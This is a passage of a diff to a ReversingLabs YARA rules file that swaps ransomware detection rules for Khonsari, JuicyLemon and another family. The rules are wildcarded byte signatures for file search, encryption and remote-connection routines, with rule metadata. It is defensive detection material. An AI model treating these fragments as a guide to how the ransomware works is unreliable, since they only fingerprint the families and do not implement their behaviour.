-            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 2D ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? A3 ??
-            ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ??
-            ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ??
-            ?? ?? ?? E8
-        }
-		$remote_server_1 = {
-            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ??
-            ?? ?? 83 F8 ?? 72 ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
-            35 ?? ?? ?? ?? E8
+		$encrypt_files = {
+            55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 5D ?? 89 5D ?? 89 4D ?? 89 55 ?? 8B D8
+            8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ??
+            8B 40 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 55
+            ?? 8B 45 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45
+            ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D
+            45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ??
+            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 6A ?? 50 52
+            8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50
+            E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20
+            6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 89 45 ?? 89 55 ?? E9 ?? ??
+            ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? EB ?? 7D ?? 8B 45 ?? 89 45 ?? 8B
+            45 ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B D8 8B C3
+            E8 ?? ?? ?? ?? 8B F0 8B D6 8B CB 8B 45 ?? 8B 38 FF 57 ?? 89 45 ?? 8B 45 ?? 8B 10 FF
+            12 52 50 8B 45 ?? E8 ?? ?? ?? ?? 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 72 ?? EB ?? 5A 58
+            7C ?? 8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ??
+            8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8
+            ?? ?? ?? ?? 52 50 8B C3 99 29 04 24 19 54 24 ?? 58 5A 52 50 8B 45 ?? E8 ?? ?? ?? ??
+            8B D6 8B 4D ?? 8B 45 ?? 8B 38 FF 57 ?? 8B C3 99 29 45 ?? 19 55 ?? 8B D3 8B C6 E8 ??
+            ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ?? EB ?? 0F 8F ?? ?? ?? ?? A1
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B
+            48 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 8B 00 8B 80 ??
+            ?? ?? ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 18 FF 53 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33
+            C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
+            ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ??
+            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ??
+            EB ?? 5F 5E 5B 8B E5 5D C3
         }
-		$remote_server_2 = {
-            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
+		$search_files = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
+            ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 55 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
+            89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B
+            55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 0F 94 C3 E9 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 66 83 38 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            85 C0 75 ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ??
+            ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0D ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66
+            83 38 ?? 74 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            75 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            8B C6 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 94 C3 84 DB 0F 85 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 8B D8 4B 85 DB 7C ??
+            43 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C6 8B 38 FF
+            57 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 4B 75 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59
+            64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
         }
-		$enum_shares_and_encrypt_files = {
-            E8 ?? ?? ?? ?? C1 C8 ?? BA ?? ?? ?? ?? 23 D0 60 83 FA ?? 75 ?? 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? 8D 35 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 56 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 61 8A 06 46 0A C0 75 ?? 8A 06 0A C0 75 ?? 61 D1 C8 8A 1D ??
-            ?? ?? ?? FE C3 88 1D ?? ?? ?? ?? 80 FB ?? 76 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
+		$remote_connection = {
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ??
+            8D 4D ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 08 FF
+            51 ?? 8B 45 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
+            05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
+            89 20 6A ?? 8D 45 ?? 50 8D 4D ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ??
+            8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4D ??
+            8B 45 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            74 ?? C7 45 ?? ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 83 EB ?? 8B 1B 68 ?? ?? ?? ?? 8B CB
+            BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8D 45
+            ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 45
+            ?? 8B 90 ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 8B CE BA ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59
+            59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and $encrypt_file_1 and $encrypt_file_2 and $remote_server_1 and $remote_server_2 and $enum_shares_and_encrypt_files
+		uint16(0)==0x5A4D and ($search_files and $encrypt_files and $remote_connection)
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Khonsari : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Juicylemon : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Khonsari ransomware."
+		description = "Yara rule that detects JuicyLemon ransomware."
 		author = "ReversingLabs"
-		id = "c3c64256-af1f-5a9d-8a59-8d72993bb8da"
-		date = "2022-01-27"
-		modified = "2022-01-27"
+		id = "35e4bbd6-422b-562e-98fc-fe932270dbb8"
+		date = "2020-08-17"
+		modified = "2020-08-17"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara#L1-L68"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f1003b7863215bcd8e5cdce8ce40551105fb668ea2b8ac765909f9fa5373e6ca"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.JuicyLemon.yara#L1-L116"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "596d89843793307f4940dbb85b2e7081f02250f6adfdcd01f2d3c5f2b8b90875"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42046,61 +42107,118 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Khonsari : TC_DETECTION MALICIOUS MA
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Khonsari"
+		tc_detection_name = "JuicyLemon"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? ?? ?? ??
-            13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 0B
-            16 0C 2B ?? 07 08 9A 0D 09 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ??
-            ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 09
-            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 17 58 0C 08 07 8E 69 32 ?? 06 1B 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            06 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11
-            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            06 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 2D ?? 00 11
-            ?? 7E ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 72 ??
-            ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F
-            ?? ?? ?? ?? DC DE ?? 26 DE ?? 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE 16 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ??
-            28 ?? ?? ?? ?? 26 2A
+		$remote_connection_1 = {
+            55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B FA 8B F0 C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? FF 15 ?? ?? ?? ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 56 53 FF 15 ?? ?? ??
+            ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 56 FF 15
+            ?? ?? ?? ?? 8B F8 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? C6 45 ?? ?? 57 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 53
+            FF 15 ?? ?? ?? ?? 8A 45 ?? 5F 5E 5B 59 59 5D C2
         }
-		$get_key = {
-            73 ?? ?? ?? ?? 0A 06 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11
-            ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D
-            ?? ?? ?? ?? 12 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ??
-            ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 07 6F ??
-            ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11
-            ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 17 6F ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A
+		$remote_connection_2 = {
+            55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 55 ?? 8B
+            45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 66 BE ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 66 BE ?? ?? 8D 45 ?? E8
+            ?? ?? ?? ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D6
+            59 E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files = {
-            28 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 6F ?? ?? ?? ?? 06 20
-            ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 6F ?? ??
-            ?? ?? 06 19 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 02 7B ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 02 03 07 28 ?? ??
-            ?? ?? 0C DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 08 2A
+		$find_files_and_encrypt = {
+            E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85
+            ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8
+            ?? ?? ?? ?? 46 4B 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 57
+            A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74
+            ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 80 C2 ?? E8
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 8B 00 FF
+            D0 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ??
+            ?? ?? ?? 8B D3 80 C2 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ??
+            ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 4B 80 FB ?? 0F 85 ?? ?? ?? ?? 57 A1 ?? ?? ??
+            ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1
+            ?? ?? ?? ?? 8B 00 FF D0 EB ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 46 ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ?? ?? ?? ?? 57 A1 ??
+            ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ??
+            ?? ?? ?? 8B 00 FF D0 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ??
+            ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? A1 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            52 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 50 B8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 59 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 45 ?? C6 45 ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 8B
+            5D ?? 4B 85 DB 7C ?? 43 33 F6 80 7D ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ??
+            8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ??
+            ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
+            ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D
+            ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B
+            14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 46 4B 75 ?? BA ?? ??
+            ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
